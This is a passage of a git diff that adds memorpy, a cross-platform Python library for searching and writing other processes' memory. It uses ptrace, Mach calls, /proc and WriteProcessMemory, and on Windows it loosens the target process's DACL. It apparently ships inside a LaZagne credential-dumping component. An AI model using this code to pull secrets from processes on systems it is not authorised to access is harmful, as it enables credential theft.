+ + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + + #we can only copy data per range of 4 or 8 bytes + word_size=ctypes.sizeof(ctypes.c_void_p) + #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ) + for i in range(0, len(data), word_size): + word=data[i:i+word_size] + if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes + existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word))) + word+=existing_data + if sys.byteorder=="little": + word=word[::-1] + + attempt=0 + err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode("hex"), 16)) + if err != 0: + error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') + raise OSError("Error using PTRACE_POKEDATA: %s"%error) + + self.ptrace_detach() + return True + + def read_bytes(self, address, bytes = 4): + if self.read_ptrace: + self.ptrace_attach() + data=b'' + if not LARGE_FILE_SUPPORT: + mem_file.seek(address) + data=mem_file.read(bytes) + else: + lseek64(self.mem_file, address, os.SEEK_SET) + data=b"" + try: + data=os.read(self.mem_file, bytes) + except Exception as e: + logger.info("Error reading %s at %s: %s"%((bytes),address, e)) + if self.read_ptrace: + self.ptrace_detach() + return data diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py b/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py new file mode 100644 index 0000000..e1c6e60 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +PROT_NONE = 0 +PROT_READ = 1 +PROT_WRITE = 2 +PROT_EXEC = 4 +PROT_PRIVATE = 8 +PROT_SHARED = 16 + +#Use some Windows constants for compatibility +PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE +PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ +PAGE_READONLY = PROT_READ +PAGE_READWRITE = PROT_READ | PROT_WRITE + +PTRACE_POKEDATA = 5 +PTRACE_ATTACH = 16 +PTRACE_DETACH =17 +PTRACE_CONT = 7 diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py b/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py new file mode 100644 index 0000000..0468db2 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py @@ -0,0 +1,96 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +import copy +import time +import struct + +from .Address import Address + + +class Locator(object): + """ + take a memoryworker and a type to search + then you can feed the locator with values and it will reduce the addresses possibilities + """ + + def __init__(self, mw, type = 'unknown', start = None, end = None): + self.mw = mw + self.type = type + self.last_iteration = {} + self.last_value = None + self.start = start + self.end = end + + def find(self, value, erase_last = True): + return self.feed(value, erase_last) + + def feed(self, value, erase_last = True): + self.last_value = value + new_iter = copy.copy(self.last_iteration) + if self.type == 'unknown': + all_types = ['uint', + 'int', + 'long', + 'ulong', + 'float', + 'double', + 'short', + 'ushort'] + else: + all_types = [self.type] + for type in all_types: + if type not in new_iter: + try: + new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] + except struct.error: + new_iter[type] = [] + else: + l = [] + for address in new_iter[type]: + try: + found = self.mw.process.read(address, type) + if int(found) == int(value): + l.append(Address(address, self.mw.process, type)) + except Exception as e: + pass + + new_iter[type] = l + + if erase_last: + del self.last_iteration + self.last_iteration = new_iter + return new_iter + + def get_addresses(self): + return self.last_iteration + + def diff(self, erase_last = False): + return self.get_modified_addr(erase_last) + + def get_modified_addr(self, erase_last = False): + last = self.last_iteration + new = self.feed(self.last_value, erase_last=erase_last) + ret = {} + for type, l in last.iteritems(): + typeset = set(new[type]) + for addr in l: + if addr not in typeset: + if type not in ret: + ret[type] = [] + ret[type].append(addr) + + return ret diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py new file mode 100644 index 0000000..4a971bb --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/MemWorker.py @@ -0,0 +1,226 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. +import sys +import string +import re +import logging +import traceback +import binascii +import struct + +from .Process import * +from .utils import * +from .Address import Address +from .BaseProcess import ProcessException +from .structures import * + +logger = logging.getLogger('memorpy') + +REGEX_TYPE=type(re.compile("^plop$")) +class MemWorker(object): + + def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True): + self.process = Process(name=name, pid=pid, debug=debug) + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.process.close() + + def Address(self, value, default_type = 'uint'): + """ wrapper to instanciate an Address class for the memworker.process""" + return Address(value, process=self.process, default_type=default_type) + + def umem_replace(self, regex, replace): + """ like search_replace_mem but works with unicode strings """ + regex = re_to_unicode(regex) + replace = replace.encode('utf-16-le') + return self.mem_replace(re.compile(regex, re.UNICODE), replace) + + def mem_replace(self, regex, replace): + """ search memory for a pattern and replace all found occurrences """ + allWritesSucceed = True + for _, start_offset in self.mem_search(regex, ftype='re'): + if self.process.write_bytes(start_offset, replace) == 1: + logger.debug('Write at offset %s succeeded !' % start_offset) + else: + allWritesSucceed = False + logger.debug('Write at offset %s failed !' % start_offset) + + return allWritesSucceed + + def umem_search(self, regex): + """ like mem_search but works with unicode strings """ + regex = re_to_unicode(regex) + for _, i in self.mem_search(str(regex), ftype='re'): + yield i + + def group_search(self, group, start_offset = None, end_offset = None): + regex = '' + for value, type in group: + if type == 'f' or type == 'float': + f = struct.pack('<f', float(value)) + regex += '..' + f[2:4] + else: + raise NotImplementedError('unknown type %s' % type) + + return self.mem_search(regex, ftype='re', start_offset=start_offset, end_offset=end_offset) + + def search_address(self, addr): + a = '%08X' % addr + logger.debug('searching address %s' % a) + regex = '' + for i in range(len(a) - 2, -1, -2): + regex += binascii.unhexlify(a[i:i + 2]) + + for _, a in self.mem_search(re.escape(regex), ftype='re'): + yield a + + def parse_re_function(self, b, value, offset): + for name, regex in value: + for res in regex.finditer(b): + yield name, self.Address(offset+res.start(), 'bytes') + """ + index = b.find(res) + while index != -1: + soffset = offset + index + if soffset not in duplicates_cache: + duplicates_cache.add(soffset) + yield name, self.Address(soffset, 'bytes') + index = b.find(res, index + len(res)) + """ + + def parse_float_function(self, b, value, offset): + for index in range(0, len(b)): + try: + structtype, structlen = type_unpack('float') + tmpval = struct.unpack(structtype, b[index:index + 4])[0] + if int(value) == int(tmpval): + soffset = offset + index + yield self.Address(soffset, 'float') + except Exception as e: + pass + + def parse_named_groups_function(self, b, value, offset=None): + for name, regex in value: + for res in regex.finditer(b): + yield name, res.groupdict() + + def parse_groups_function(self, b, value, offset=None): + for name, regex in value: + for res in regex.finditer(b): + yield name, res.groups() + + def parse_any_function(self, b, value, offset): + index = b.find(value) + while index != -1: + soffset = offset + index + yield self.Address(soffset, 'bytes') + index = b.find(value, index + 1) + + def mem_search(self, value, ftype = 'match', protec = PAGE_READWRITE | PAGE_READONLY, optimizations=None, start_offset = None, end_offset = None): + """ + iterator returning all indexes where the pattern has been found + """ + + # pre-compile regex to run faster + if ftype == 're' or ftype == 'groups' or ftype == 'ngroups': + + # value should be an array of regex + if type(value) is not list: + value = [value] + + tmp = [] + for reg in value: + if type(reg) is tuple: + name = reg[0] + if type(reg[1]) != REGEX_TYPE: + regex = re.compile(reg[1], re.IGNORECASE) + else: + regex=reg[1] + elif type(reg) == REGEX_TYPE: + name = '' + regex=reg + else: + name = '' + regex = re.compile(reg, re.IGNORECASE) + + + tmp.append((name, regex)) + value = tmp + + elif ftype != 'match' and ftype != 'group' and ftype != 're' and ftype != 'groups' and ftype != 'ngroups' and ftype != 'lambda': + structtype, structlen = type_unpack(ftype) + value = struct.pack(structtype, value) + + # different functions avoid if statement before parsing the buffer + if ftype == 're': + func = self.parse_re_function + + elif ftype == 'groups': + func = self.parse_groups_function + + elif ftype == 'ngroups': + func = self.parse_named_groups_function + + elif ftype == 'float': + func = self.parse_float_function + elif ftype == 'lambda': # use a custm function + func = value + else: + func = self.parse_any_function + + if not self.process.isProcessOpen: + raise ProcessException("Can't read_bytes, process %s is not open" % (self.process.pid)) + + for offset, chunk_size in self.process.iter_region(start_offset=start_offset, end_offset=end_offset, protec=protec, optimizations=optimizations): + b = b'' + current_offset = offset + chunk_read = 0 + chunk_exc = False + while chunk_read < chunk_size: + try: + b += self.process.read_bytes(current_offset, chunk_size) + except IOError as e: + print(traceback.format_exc()) + if e.errno == 13: + raise + else: + logger.warning(e) + chunk_exc=True + break + except Exception as e: + print('coucou') + logger.warning(e) + chunk_exc = True + break + finally: + current_offset += chunk_size + chunk_read += chunk_size + + if chunk_exc: + continue + + if b: + if ftype=="lambda": + for res in func(b.decode('latin'), offset): + yield res + else: + for res in func(b.decode('latin'), value, offset): + yield res + + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py new file mode 100644 index 0000000..bd702cd --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/OSXProcess.py @@ -0,0 +1,174 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +import copy +import struct +import utils +import platform +import ctypes, re, sys +import ctypes.util +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging +import subprocess + +logger = logging.getLogger('memorpy') + +libc = ctypes.CDLL(ctypes.util.find_library('c')) + +VM_REGION_BASIC_INFO_64 = 9 + +class vm_region_basic_info_64(ctypes.Structure): + _fields_ = [ + ('protection', ctypes.c_uint32), + ('max_protection', ctypes.c_uint32), + ('inheritance', ctypes.c_uint32), + ('shared', ctypes.c_uint32), + ('reserved', ctypes.c_uint32), + ('offset', ctypes.c_ulonglong), + ('behavior', ctypes.c_uint32), + ('user_wired_count',ctypes.c_ushort), +] + +VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4 + +VM_PROT_READ = 1 +VM_PROT_WRITE = 2 +VM_PROT_EXECUTE = 4 + +class OSXProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(OSXProcess, self).__init__() + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=OSXProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + self.task=None + self.mytask=None + self._open() + + def close(self): + pass + + def __del__(self): + pass + + def _open(self): + self.isProcessOpen = True + self.task = ctypes.c_uint32() + self.mytask=libc.mach_task_self() + ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task)) + if ret!=0: + raise ProcessException("task_for_pid failed with error code : %s"%ret) + + @staticmethod + def list(): + #TODO list processes with ctypes + processes=[] + res=subprocess.check_output("ps A", shell=True) + for line in res.split('\n'): + try: + tab=line.split() + pid=int(tab[0]) + exe=' '.join(tab[4:]) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + for dic in OSXProcess.list(): + if name in dic['exe']: + return dic['pid'] + + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + maps = [] + address = ctypes.c_ulong(0) + mapsize = ctypes.c_ulong(0) + name = ctypes.c_uint32(0) + count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64) + info = vm_region_basic_info_64() + + while True: + r = libc.mach_vm_region(self.task, ctypes.pointer(address), + ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64, + ctypes.pointer(info), ctypes.pointer(count), + ctypes.pointer(name)) + # If we get told "invalid address", we have crossed into kernel land... + if r == 1: + break + + if r != 0: + raise ProcessException('mach_vm_region failed with error code %s' % r) + if start_offset is not None: + if address.value < start_offset: + address.value += mapsize.value + continue + if end_offset is not None: + if address.value > end_offset: + break + p = info.protection + if p & VM_PROT_EXECUTE: + if optimizations and 'x' in optimizations: + address.value += mapsize.value + continue + if info.shared: + if optimizations and 's' in optimizations: + address.value += mapsize.value + continue + if p & VM_PROT_READ: + if not (p & VM_PROT_WRITE): + if optimizations and 'r' in optimizations: + address.value += mapsize.value + continue + yield address.value, mapsize.value + + address.value += mapsize.value + + + def write_bytes(self, address, data): + raise NotImplementedError("write not implemented on OSX") + return True + + def read_bytes(self, address, bytes = 4): + pdata = ctypes.c_void_p(0) + data_cnt = ctypes.c_uint32(0) + + ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt)); + #if ret==1: + # return "" + if ret!=0: + raise ProcessException("mach_vm_read returned : %s"%ret) + buf=ctypes.string_at(pdata.value, data_cnt.value) + libc.vm_deallocate(self.mytask, pdata, data_cnt) + return buf + + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Process.py b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py new file mode 100644 index 0000000..b586cd8 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/Process.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +from .BaseProcess import * +if sys.platform=='win32': + from .WinProcess import WinProcess as Process +elif sys.platform=='darwin': + from .OSXProcess import OSXProcess as Process +elif 'sunos' in sys.platform: + from .SunProcess import SunProcess as Process +else: + from .LinProcess import LinProcess as Process diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py new file mode 100644 index 0000000..831c7f6 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/SunProcess.py @@ -0,0 +1,167 @@ +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +from .BaseProcess import BaseProcess, ProcessException +import struct +import os + +MA_READ = 0x04 +MA_WRITE = 0x02 +MA_EXEC = 0x01 +MA_SHARED = 0x08 +MA_ANON = 0x40 +MA_ISM = 0x80 +MA_NORESERVE = 0x100 +MA_SHM = 0x200 +MA_RESERVED1 = 0x400 +MA_OSM = 0x800 + +PSINFO_T = struct.Struct( + 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII' +) + +MAP_T = struct.Struct( + 'LL64sQiiii' +) + +class SunProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + ''' Create and Open a process object from its pid or from its name ''' + super(SunProcess, self).__init__() + self.pid = int(pid) + self.pas = None + self.writable = False + if name and not self.pid: + self.pid = SunProcess.pid_from_name(name) + if not name and not self.pid: + raise ValueError('You need to instanciate process with at least a name or a pid') + try: + self._open() + except: + pass + + def close(self): + if self.pas: + self.pas.close() + + def __del__(self): + self.close() + + def _open(self): + try: + self.pas = open('/proc/%d/as'%(self.pid), 'w+') + self.writable = True + except IOError: + self.pas = open('/proc/%d/as'%(self.pid)) + + self.isProcessOpen = True + + @staticmethod + def _name_args(pid): + with open('/proc/%d/psinfo'%(int(pid))) as psinfo: + items = PSINFO_T.unpack_from(psinfo.read()) + return items[23].rstrip('\x00'), items[24].rstrip('\x00') + + @staticmethod + def list(): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + name, _ = SunProcess._name_args(pid) + processes.append({ + 'pid': pid, + 'name': name + }) + except: + pass + + return processes + + @staticmethod + def pid_from_name(name): + processes=[] + for pid in os.listdir('/proc'): + try: + pid = int(pid) + pname, cmdline = SunProcess._name_args(pid) + if name in pname: + return pid + if name in cmdline.split(' ', 1)[0]: + return pid + except: + pass + + raise ProcessException('No process with such name: %s'%name) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + if not self.isProcessOpen: + return + + with open('/proc/%d/map'%(self.pid)) as maps_file: + while True: + mapping = maps_file.read(MAP_T.size) + + if not mapping: + break + + start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping) + + if start_offset is not None: + if start < start_offset: + continue + + if end_offset is not None: + if start > end_offset: + continue + + if not flags & MA_READ: + continue + + if optimizations: + if 'i' in optimizations and not flags & MA_ANON: + continue + if 's' in optimizations and flags & MA_SHM: + continue + # in sunos it's quite common when this flag is set, so let's use other letter + if 'X' in optimizations and flags & MA_EXEC: + continue + if 'r' in optimizations and not flags & MA_WRITE: + continue + + yield start, size + + def write_bytes(self, address, data): + if not self.pas or not self.writable: + return False + + self.pas.seek(address) + self.pas.write(data) + + return True + + def read_bytes(self, address, bytes = 4): + if not self.pas: + return + + self.pas.seek(address) + return self.pas.read(bytes) diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py new file mode 100644 index 0000000..18c7054 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinProcess.py @@ -0,0 +1,312 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError +from .structures import * +import copy +import struct +# import utils +import platform +from .BaseProcess import BaseProcess, ProcessException + +psapi = windll.psapi +kernel32 = windll.kernel32 +advapi32 = windll.advapi32 + +IsWow64Process=None +if hasattr(kernel32,'IsWow64Process'): + IsWow64Process=kernel32.IsWow64Process + IsWow64Process.restype = c_bool + IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)] + +class WinProcess(BaseProcess): + + def __init__(self, pid=None, name=None, debug=True): + """ Create and Open a process object from its pid or from its name """ + super(WinProcess, self).__init__() + if pid: + self._open(int(pid), debug=debug) + + elif name: + self._open_from_name(name, debug=debug) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + + if self.is_64bit(): + si = self.GetNativeSystemInfo() + self.max_addr = si.lpMaximumApplicationAddress + else: + si = self.GetSystemInfo() + self.max_addr = 2147418111 + self.min_addr = si.lpMinimumApplicationAddress + + + def __del__(self): + self.close() + + def is_64bit(self): + if not "64" in platform.machine(): + return False + iswow64 = c_bool(False) + if IsWow64Process is None: + return False + if not IsWow64Process(self.h_process, byref(iswow64)): + raise WinError() + return not iswow64.value + + @staticmethod + def list(): + processes=[] + arr = c_ulong * 256 + lpidProcess= arr() + cb = sizeof(lpidProcess) + cbNeeded = c_ulong() + hModule = c_ulong() + count = c_ulong() + modname = create_string_buffer(100) + PROCESS_QUERY_INFORMATION = 0x0400 + PROCESS_VM_READ = 0x0010 + + psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded)) + nReturned = cbNeeded.value/sizeof(c_ulong()) + + pidProcess = [i for i in lpidProcess][:nReturned] + for pid in pidProcess: + proc={ "pid": int(pid) } + hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) + if hProcess: + psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count)) + psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname)) + proc["name"]=modname.value + kernel32.CloseHandle(hProcess) + processes.append(proc) + return processes + + @staticmethod + def processes_from_name(processName): + processes = [] + for process in WinProcess.list(): + if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName): + processes.append(process) + + if len(processes) > 0: + return processes + + @staticmethod + def name_from_process(dwProcessId): + process_list = WinProcess.list() + for process in process_list: + if process.pid == dwProcessId: + return process.get("name", None) + + return False + + def _open(self, dwProcessId, debug=False): + if debug: + ppsidOwner = DWORD() + ppsidGroup = DWORD() + ppDacl = DWORD() + ppSacl = DWORD() + ppSecurityDescriptor = SECURITY_DESCRIPTOR() + + process = kernel32.OpenProcess(262144, 0, dwProcessId) + advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor)) + advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group) + kernel32.CloseHandle(process) + self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId) + if self.h_process is not None: + self.isProcessOpen = True + self.pid = dwProcessId + return True + return False + + def close(self): + if self.h_process is not None: + ret = kernel32.CloseHandle(self.h_process) == 1 + if ret: + self.h_process = None + self.pid = None + self.isProcessOpen = False + return ret + return False + + def _open_from_name(self, processName, debug=False): + processes = self.processes_from_name(processName) + if not processes: + raise ProcessException("can't get pid from name %s" % processName) + elif len(processes)>1: + raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName) + if debug: + self._open(processes[0]["pid"], debug=True) + else: + self._open(processes[0]["pid"], debug=False) + + def GetSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetSystemInfo(byref(si)) + return si + + def GetNativeSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetNativeSystemInfo(byref(si)) + return si + + def VirtualQueryEx(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION() + if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualQueryEx64(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION64() + if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualProtectEx(self, base_address, size, protection): + old_protect = c_ulong(0) + if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): + raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection)) + return old_protect.value + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + + offset = start_offset or self.min_addr + end_offset = end_offset or self.max_addr + + while True: + if offset >= end_offset: + break + mbi = self.VirtualQueryEx(offset) + offset = mbi.BaseAddress + chunk = mbi.RegionSize + protect = mbi.Protect + state = mbi.State + #print "offset: %s, chunk:%s"%(offset, chunk) + if state & MEM_FREE or state & MEM_RESERVE: + offset += chunk + continue + if protec: + if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD: + offset += chunk + continue + yield offset, chunk + offset += chunk + + def write_bytes(self, address, data): + address = int(address) + if not self.isProcessOpen: + raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid)) + buffer = create_string_buffer(data) + sizeWriten = c_size_t(0) + bufferSize = sizeof(buffer) - 1 + _address = address + _length = bufferSize + 1 + try: + old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE) + except: + pass + + res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten)) + try: + self.VirtualProtectEx(_address, _length, old_protect) + except: + pass + + return res + + def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False): + #print "reading %s bytes from addr %s"%(bytes, address) + if use_NtWow64ReadVirtualMemory64: + if NtWow64ReadVirtualMemory64 is None: + raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process") + RpM = NtWow64ReadVirtualMemory64 + else: + RpM = ReadProcessMemory + + address = int(address) + buffer = create_string_buffer(bytes) + bytesread = c_size_t(0) + data = b'' + length = bytes + while length: + if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0): + if bytesread.value: + data += buffer.raw[:bytesread.value] + length -= bytesread.value + address += bytesread.value + if not len(data): + raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(), + address, + length, + bytesread.value)) + return data + else: + if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it + data += buffer.raw[:bytesread.value] + return data + raise WinError() + # data += buffer.raw[:bytesread.value] + # length -= bytesread.value + # address += bytesread.value + return data + + + def list_modules(self): + module_list = [] + if self.pid is not None: + hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid) + if hModuleSnap is not None: + module_entry = MODULEENTRY32() + module_entry.dwSize = sizeof(module_entry) + success = Module32First(hModuleSnap, byref(module_entry)) + while success: + if module_entry.th32ProcessID == self.pid: + module_list.append(copy.copy(module_entry)) + success = Module32Next(hModuleSnap, byref(module_entry)) + + kernel32.CloseHandle(hModuleSnap) + return module_list + + def get_symbolic_name(self, address): + for m in self.list_modules(): + if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize): + return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr) + + return '0x%08X' % int(address) + + def hasModule(self, module): + if module[-4:] != '.dll': + module += '.dll' + module_list = self.list_modules() + for m in module_list: + if module in m.szExePath.split('\\'): + return True + return False + + + def get_instruction(self, address): + """ + Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. + """ + import pydasm + try: + data = self.read_bytes(int(address), 32) + except: + return 'Unable to disassemble at %08x' % address + + return pydasm.get_instruction(data, pydasm.MODE_32) + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py new file mode 100644 index 0000000..ac49d36 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py @@ -0,0 +1,190 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong +from ctypes.wintypes import * + +if sizeof(c_void_p) == 8: + ULONG_PTR = c_ulonglong +else: + ULONG_PTR = c_ulong + + +class SECURITY_DESCRIPTOR(Structure): + _fields_ = [ + ('SID', DWORD), + ('group', DWORD), + ('dacl', DWORD), + ('sacl', DWORD), + ('test', DWORD) + ] +PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR) + +class MEMORY_BASIC_INFORMATION(Structure): + _fields_ = [('BaseAddress', c_void_p), + ('AllocationBase', c_void_p), + ('AllocationProtect', DWORD), + ('RegionSize', c_size_t), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD)] + +# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx +class MEMORY_BASIC_INFORMATION64(Structure): + _fields_ = [('BaseAddress', c_ulonglong), + ('AllocationBase', c_ulonglong), + ('AllocationProtect', DWORD), + ('alignement1', DWORD), + ('RegionSize', c_ulonglong), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD), + ('alignement2', DWORD)] + + + +class SYSTEM_INFO(Structure): + _fields_ = [('wProcessorArchitecture', WORD), + ('wReserved', WORD), + ('dwPageSize', DWORD), + ('lpMinimumApplicationAddress', LPVOID), + ('lpMaximumApplicationAddress', 